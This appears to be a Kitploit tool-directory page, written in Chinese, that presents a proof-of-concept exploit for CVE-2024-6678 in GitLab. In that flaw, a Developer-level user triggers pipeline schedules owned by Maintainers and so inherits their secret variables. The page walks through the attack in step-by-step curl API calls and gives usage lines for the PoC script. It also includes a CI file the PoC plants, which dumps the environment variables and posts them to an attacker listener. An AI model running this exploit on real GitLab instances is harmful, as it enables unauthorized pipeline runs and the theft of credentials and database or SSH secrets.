Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/fallenskill1/cve-2024-6678
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityDevSecOps
GitHubfallenskill1/cve-2024-6678

CVE-2024-6678

PoC for CVE-2024-6678

查看仓库
413个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-6678 - GitLab: Pipeline Schedule Arbitrary User Trigger

CVE-2024-6678 的 PoC

漏洞描述

GitLab 允许用户通过「Play」按钮手动触发 CI/CD 流水线计划(Pipeline Schedules)。该漏洞在于,「play」功能允许拥有 Developer 权限的任何用户(而不仅仅是计划所有者)触发该计划。这会导致两个后果:

  1. 开发者触发了一个由更高权限用户(Maintainer / Owner)创建和配置的计划。
  2. 触发的流水线继承了计划中的环境变量(包括敏感变量),尽管 Developer 无权通过 API 查看这些变量。

最终影响取决于计划变量中存储的内容。例如,变量 DB_PASSWORD 可能允许完全转储数据库,而 SSH_PRIVATE_KEY 则可能导致 RCE。

复现步骤

前置条件

  • GitLab CE/EE,版本从 8.14 到 17.1.6 / 17.2.4 / 17.3.1
  • 攻击者在目标项目中拥有 Developer 权限的账号
  • 项目中至少存在一个活跃的流水线计划
  • 计划指向 未保护 的分支(例如 develop、staging)——或者项目中有使用短格式 ref 的计划(bypass)

重要:指向受保护分支的计划(例如 refs/heads/main 且启用了保护)会被 PipelineSchedulePolicy#protected_ref 策略阻止,并返回 HTTP 403。攻击适用于未保护分支——而集成和 staging 计划通常就在这些分支上,并包含生产凭据。

步骤 1. 获取计划列表

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
  | python3 -m json.tool

找到属于更高权限用户(Maintainer/Owner)的计划。

步骤 2. 触发计划

root@kitploit:~
curl -s -X POST \
  -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"

预期响应:HTTP 201——流水线已加入队列。

流水线以攻击者的名义(current_user)创建,但带有计划的所有变量(可能包括所有者设置的 API 密钥、令牌、凭据)。

HTTP 500 "Unable to schedule pipeline run immediately" — 这是预期行为。这是由于 Sidekiq 去重(deduplicate :until_executed):该计划的任务已因之前的成功触发而在队列中。这意味着攻击之前已经成功,任务正在等待执行。

步骤 3. 确认以攻击者名义创建的流水线

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
  | python3 -m json.tool | grep -E '"id"|"status"|"username"'

PoC 使用

root@kitploit:~
# 基本运行:自动选择计划
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42

# 指定特定计划
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --schedule-id 7

# 通过 GraphQL(需要 --project-path)
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --graphql \
    --project-path "mygroup/myrepo"

# 检查 legacy-ref bypass
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --exploit-mode
image_2026-05-21_11-43-42 image

在触发前,PoC 会将 develop 分支中的 .gitlab-ci.yml 替换为: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-

所有这些都会发送到您的监听器

image_2026-05-21_19-05-58

参考链接

  • GitLab 安全公告
  • NVD: CVE-2024-6678
下载工具